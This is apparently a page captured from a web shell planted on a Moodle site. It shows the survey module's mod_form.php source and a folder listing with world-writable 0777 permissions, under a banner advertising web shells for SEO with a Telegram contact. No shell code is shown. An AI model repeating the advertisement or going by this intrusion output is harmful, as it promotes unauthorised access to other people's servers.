__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if (!defined('MOODLE_INTERNAL')) {
die('Direct access to this script is forbidden.'); /// It must be included from a Moodle page
}
require_once ($CFG->dirroot.'/course/moodleform_mod.php');
class mod_survey_mod_form extends moodleform_mod {
function definition() {
global $CFG, $DB;
$mform =& $this->_form;
$strrequired = get_string('required');
//-------------------------------------------------------------------------------
$mform->addElement('header', 'general', get_string('general', 'form'));
$mform->addElement('text', 'name', get_string('name'), array('size'=>'64'));
if (!empty($CFG->formatstringstriptags)) {
$mform->setType('name', PARAM_TEXT);
} else {
$mform->setType('name', PARAM_CLEANHTML);
}
$mform->addRule('name', null, 'required', null, 'client');
if (!$options = $DB->get_records_menu("survey", array("template"=>0), "name", "id, name")) {
throw new \moodle_exception('cannotfindsurveytmpt', 'survey');
}
foreach ($options as $id => $name) {
$options[$id] = get_string($name, "survey");
}
$options = array(''=>get_string('choose').'...') + $options;
$mform->addElement('select', 'template', get_string("surveytype", "survey"), $options);
$mform->addRule('template', $strrequired, 'required', null, 'client');
$mform->addHelpButton('template', 'surveytype', 'survey');
$this->standard_intro_elements(get_string('customintro', 'survey'));
$this->standard_coursemodule_elements();
//-------------------------------------------------------------------------------
// buttons
$this->add_action_buttons();
}
/**
* Allows module to modify the data returned by form get_data().
* This method is also called in the bulk activity completion form.
*
* Only available on moodleform_mod.
*
* @param stdClass $data the form data to be modified.
*/
public function data_postprocessing($data) {
parent::data_postprocessing($data);
if (!empty($data->completionunlocked)) {
// Turn off completion settings if the checkboxes aren't ticked.
$suffix = $this->get_suffix();
$completion = $data->{'completion' . $suffix};
$autocompletion = !empty($completion) && $completion == COMPLETION_TRACKING_AUTOMATIC;
if (!$autocompletion || empty($data->{'completionsubmit' . $suffix})) {
$data->{'completionsubmit' . $suffix} = 0;
}
}
}
/**
* Add completion rules to form.
* @return array
*/
public function add_completion_rules() {
$mform =& $this->_form;
$suffix = $this->get_suffix();
$completionsubmitel = 'completionsubmit' . $suffix;
$mform->addElement('checkbox', $completionsubmitel, '', get_string('completionsubmit', 'survey'));
// Enable this completion rule by default.
$mform->setDefault($completionsubmitel, 1);
return [$completionsubmitel];
}
/**
* Enable completion rules
* @param array $data
* @return bool
*/
public function completion_rule_enabled($data) {
$suffix = $this->get_suffix();
return !empty($data['completionsubmit' . $suffix]);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| amd | Folder | 0777 |
|
|
| backup | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| db | Folder | 0777 |
|
|
| lang | Folder | 0777 |
|
|
| pix | Folder | 0777 |
|
|
| templates | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| deprecatedlib.php | File | 1.14 KB | 0777 |
|
| download.php | File | 13.61 KB | 0777 |
|
| graph.php | File | 29.22 KB | 0777 |
|
| index.php | File | 3.03 KB | 0777 |
|
| lib.php | File | 38.58 KB | 0777 |
|
| mod_form.php | File | 3.32 KB | 0777 |
|
| renderer.php | File | 1.41 KB | 0777 |
|
| report.php | File | 20.4 KB | 0777 |
|
| save.php | File | 2.47 KB | 0777 |
|
| styles.css | File | 786 B | 0777 |
|
| version.php | File | 1.18 KB | 0777 |
|
| view.php | File | 6.13 KB | 0777 |
|